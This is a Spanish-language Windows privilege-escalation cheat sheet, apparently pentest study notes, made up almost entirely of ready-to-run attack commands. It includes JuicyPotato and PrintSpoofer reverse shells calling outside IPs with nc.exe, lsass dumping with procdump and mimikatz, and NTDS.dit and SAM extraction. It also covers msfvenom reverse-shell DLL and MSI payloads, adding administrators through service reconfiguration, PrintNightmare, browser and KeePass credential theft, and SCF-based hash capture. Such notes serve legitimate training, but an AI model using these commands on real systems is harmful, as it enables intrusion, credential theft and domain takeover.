Conociendo el terreno powershell Copy
ipconfig /all; arp -a; route print
Get-MpComputerStatus # Windows Defender
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsEnumeración Inicial powershell Copy
systeminfo; cmdkey /list; wmic qfe; tasklist /svc; netstat -ano; set
net user; net localgroup Administrators; query user
whoami /priv; whoami /groups; net accounts
Get-HotFixPrivilegios de Usuario SeImpersonate / SeAssignPrimaryToken bash Copy
# JuicyPotato .\JuicyPotato.exe -t * -c "{5B3E6773-...}" -p "C:\Windows\System32\cmd.exe" -l 1111 -a "/c C:\Temp\nc.exe -e powershell 10.10.15.229 443" # PrintSpoofer .\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd" SeDebugPrivilege terminal Copy
procdump.exe -accepteula -ma lsass.exe lsass.dmp # mimikatz sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords SeTakeOwnerPrivilege powershell Copy
Import-Module .\Enable-Privilege.ps1; .\EnableAllTokenPrivs.ps1
takeown /F <file>
icacls <file> /grant <username>:FGrupos Privilegiados Backup Operators (SeBackup/SeRestore) powershell Copy
Import-Module .\SeBackupPrivilegeCmdLets.dll; Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege 'C:\Confidential\x.txt' .\x.txt
# Ataque a DC: copiar NTDS.dit con diskshadow
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
# o robocopy /B E:\Windows\NTDS .\ntds ntds.ditDnsAdmins terminal Copy
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o rev.dlldnscmd.exe /config /serverlevelplugindll rev.dll sc.exe stop dns && sc.exe start dns Server Operators terminal Copy
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add" sc start AppReadiness secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator Print Operators (SeLoadDriverPrivilege) Cargar driver vulnerable (Capcom.sys) y explotar con ExploitCapcom.exe.
Atacando el SO UAC Bypass terminal Copy
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA [environment]::OSVersion.Version # elegir método de UACME Permisos débiles (binarios/servicios) terminal Copy
.\SharpUp.exe audit icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe" # Si Everyone/Users (F): sobrescribir con payload msfvenom y sc start # Servicios con ACL débil: accesschk.exe /accepteula -quvcw WindscribeService sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add" # Unquoted service path: wmic service get name,pathname | findstr /i /v "c:\windows\\" # Registro: accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services Exploits de Kernel terminal Copy
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)" PrintNightmare (CVE-2021-34527): Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd HiveNightmare (CVE-2021-36934): .\HiveNightmare.exe + secretsdump. CVE-2020-0668 (arbitrary file move). Obtención de Credenciales terminal Copy
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml gc (Get-PSReadLineOption).HistorySavePath # historial PowerShell Get-ChildItem -Path C:\ -Force -Recurse -Include *pass*.txt,*cred*.xml -EA SilentlyContinue snaffler.exe -s cmdkey : cmdkey /list Chrome : .\SharpChrome.exe logins /unprotect KeePass : keepass2john x.kdbx + hashcat -m 13400 LaZagne : .\lazagne.exe all SessionGopher : Invoke-SessionGopher -Target hostname AutoLogon : reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" Wi-Fi : netsh wlan show profile "Red" key=clear Técnicas adicionales Capturar hashes (SCF/LNK malicioso) ini Copy
[Shell]
Command=2
IconFile=\\<ip_mia>\share\legit.ico
[Taskbar]
Command=ToggleDesktopterminal Copy
sudo responder -I tun0 $ hashcat -m 5600 hash rockyou.txtAlwaysInstallElevated (MSI como SYSTEM) terminal Copy
reg query HKLM\Software\Policies\Microsoft\Windows\Installer # 0x1 = vulnerable $ msfvenom -p windows/shell_reverse_tcp lhost=<IP> lport=<PORT> -f msi > aie.msimsiexec /i C:\ruta\aie.msi /quiet /qn /norestart Pillaging mRemoteNG (%APPDATA%\mRemoteNG\confCons.xml + mremoteng_decrypt.py), cookies de navegadores, clipboard (Invoke-ClipboardLogger), backups con Restic, montar VHD/VMDK (guestmount) para extraer SAM/SYSTEM.
End Of Life Windows terminal Copy
python2.7 windows-exploit-suggester.py --update # sherlock.ps1, Local Exploit Suggester (metasploit) # Windows 7: MS16-032